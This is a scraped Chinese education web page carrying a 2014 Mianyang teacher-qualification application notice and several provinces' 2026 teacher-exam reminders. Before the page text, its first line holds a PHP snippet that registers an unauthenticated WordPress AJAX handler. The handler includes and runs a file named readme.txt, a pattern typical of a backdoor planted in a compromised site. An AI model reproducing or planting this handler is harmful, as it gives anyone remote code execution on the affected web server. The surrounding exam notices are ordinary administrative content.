if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
四川省绵阳市2014年春教师资格认定报名须知-全国教师资格考试网

四川省绵阳市2014年春教师资格认定报名须知

各县市区教体局,各园区社发局,科学城教育局,各直属学校(单位),市内大中专院校:
  根据四川省教育厅《关于进一步加强教师资格认定工作管理的通知》(川教函[2014]45号)、四川省教师资格认定指导中心《关于开展2014年春季教师资格认定的通知》(川教资〔2014〕1号)精神,结合我市实际,现就我市2014年春季教师资格认定工作有关事项通知如下:
  一、认定范围
  1.户口或固定工作单位在绵阳市行政辖区内的人员。
  2.向市教体局申请资格种类仅限于高级中学教师资格、中等职业学校教师资格和中等职业学校实习指导教师资格。
  3.幼儿园教师资格、小学教师资格和初级中学教师资格请向户口所在地或固定工作单位所在地的县市区教育行政部门申请,高等学校教师资格请向省级教育行政部门申请。
  二、申请程序
  1.申请人在教育行政部门规定的时间范围内,登录中国教师资格网(www.jszg.edu.cn)按要求进行网上报名、上传照片,并查看体检、现场确认的时间和地点,全日制高校应届毕业生申请认定教师资格,由申请人所在学校的教务部门统一组织申报(2014年春季教师资格认定网上报名的时间为4月1日—4月30日);
  2.在规定的时间内到指定的地点进行现场确认(见附件);
  3.在规定的时间内到指定的体检医院进行体检(见附件)。
  三、咨询电话:0816-2214772

  附件:教师资格申报注意事项

绵阳市教育体育局
2014年3月20日

附件:

教师资格申报注意事项

一、申请人必须具备以下条件
1. 户口或固定工作单位在绵阳市行政辖区内的具有本科及以上学历的人员。(注:1.党校学历除外;2.“固定工作单位”是指能够提供有效的劳动合同书、社保缴费单和在绵阳进行人事代理的单位证明;3.户口在绵阳,就读高校不在绵阳市行政区域内的应届毕业生除外。) 
2. 在绵阳市行政区域内的各高校全日制应届毕业的本科和研究生;
3.未取得毕业证的函授、电大、小自考等的学生,本次不能以成人教育学历参加教师资格认定申请。
4. 申请资格种类仅限于高级中学教师资格、中等职业学校教师资格和中等职业学校实习指导教师资格。
二、体检
1.体检时间、体检医院现场确认结束后通知;
2.体检注意事项:(1)必须空腹;(2)体检时请带上本人身份证原件和两寸免冠近照一张。
三、现场确认
(一)现场确认点
申请认定高级中学、中等职业学校和中等职业学校实习指导教师资格的现场确认点设在各县市区教体局。网上报名系统中的“现场确认地点”请选择户籍或工作单位所在地的县市区教体局(西南科技大学、绵阳师范学院、川音绵阳艺术学院选择本校确认点,其他高校、市直属学校申报人员确认点选择绵阳市教育体育局)。若因“现场确认点”选择错误造成无法申请的后果自负。
(二)现场确认时间
网上申报成功的人员,请于次日(工作日)携带申报材料到指定的现场确认点进行现场确认,现场确认时间截止5月6日(下午17:00前)。除设有确认点的其他高校、市直属学校申请高级中学、中等职业学校和中等职业学校实习指导教师资格证的人员,由学校统一组织申请者于5月5日—6日集中在绵阳市教育体育局确认。未按规定时间到现场确认的,视为自动放弃申请。
(三)现场确认需提供的材料
1.《教师资格申请表》一式两份(网报成功后,请下载成PDF格式用A4纸双面打印,不允许使用在线打印);
2.身份证原件及复印件一式一份;
3.学历证书原件及复印件一式一份(应届毕业生由毕业学校教务处出具大学四年〈研究生三年〉的学业成绩单并盖章,各系〈学院〉出具的成绩单无效);
4.《普通话水平测试等级证书》原件及复印件一式一份(二级乙等及以上等级水平);
5.户籍所在地街道办事处或公安派出所、人事档案所在的人才交流中心、人事档案所在的工作单位出具的对本人思想品德鉴定材料一份,应届毕业生由学校所在院系出据;(思想品德鉴定表在www.jszg.edu.cn中有统一格式,必须使用此格式);
6.近期二寸半身正面免冠彩色照片一张(办证书用,请修剪好);
7.师范类专业毕业的人员,在现场确认时还应带上:
(1)教育学、教育心理学课程考试成绩单复印件一式一份(复印件上必须加盖档案管理部门的印章);
(2)教育教学实习鉴定表复印件一式一份(复印件上必须加盖档案管理部门的印章);
8.非师范专业毕业的人员在现场确认时还应带上四川省高等教育自学考试教育学、教育心理学合格的成绩单原件及复印件一式一份; 
9.申请中等职业学校实习指导教师资格的人员还需提供相当于助理工程师以上的专业技术职务或中级以上工人技术等级证书原件及复印件一式一份。
10.户籍不在绵阳市行政区域内,但固定工作单位在绵阳市行政区域内的申请人员,现场确认时还须提供有效的劳动合同书、近三个月的社保缴费单(到缴费的社保局打印)、在绵阳进行人事代理的证明原件及复印件一式一份。
(四)材料整理和报送要求
1.所有复印件统一用A4复印纸,只需复印正面,即与本人有关的那一面,并由现场确认点工作人员签字和加盖确认单位公章。
2.各申请人按材料清单所列顺序整理材料,装入一个档案袋,档案袋封面注明报名号、申请资格类别、申请学科、申请人姓名等,提交确认点确认。
3.各县市区教体局、各高校受理并送我局认定的,应在《教师资格认定申请表》封面加盖公章。现场确认结束后,汇总形成申报人员名单(需加盖单位公章),连同申报人员提交的材料于5月9日前送市教体局人事科。
四、教育教学能力测试
现场确认、体检后将组织教育教学基本素质和能力测试,具体时间、地点、测试课题、测试名单等有关事宜将在绵阳教育体育网(网址:http://www.my-edu.net)公布,请特别留意网站通知,逾期未到视为自动放弃。测试通过名单及证书领取时间也将在网站通知。

温馨提示:
1.请申请人尽早登陆网站报名(中国教师资格网网址:http://www.jszg.edu.cn),报名时间一过,网站将自动关闭。
2.请务必牢记自己的网报号、登录密码、现场确认的时间和地点。
3.网上报名时必须按要求上传照片,上传的照片和办证书用的照片一致。
4.证书制作及颁发时间:6月10日-7月10日。
5.本次认定结束时间:7月10日。

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部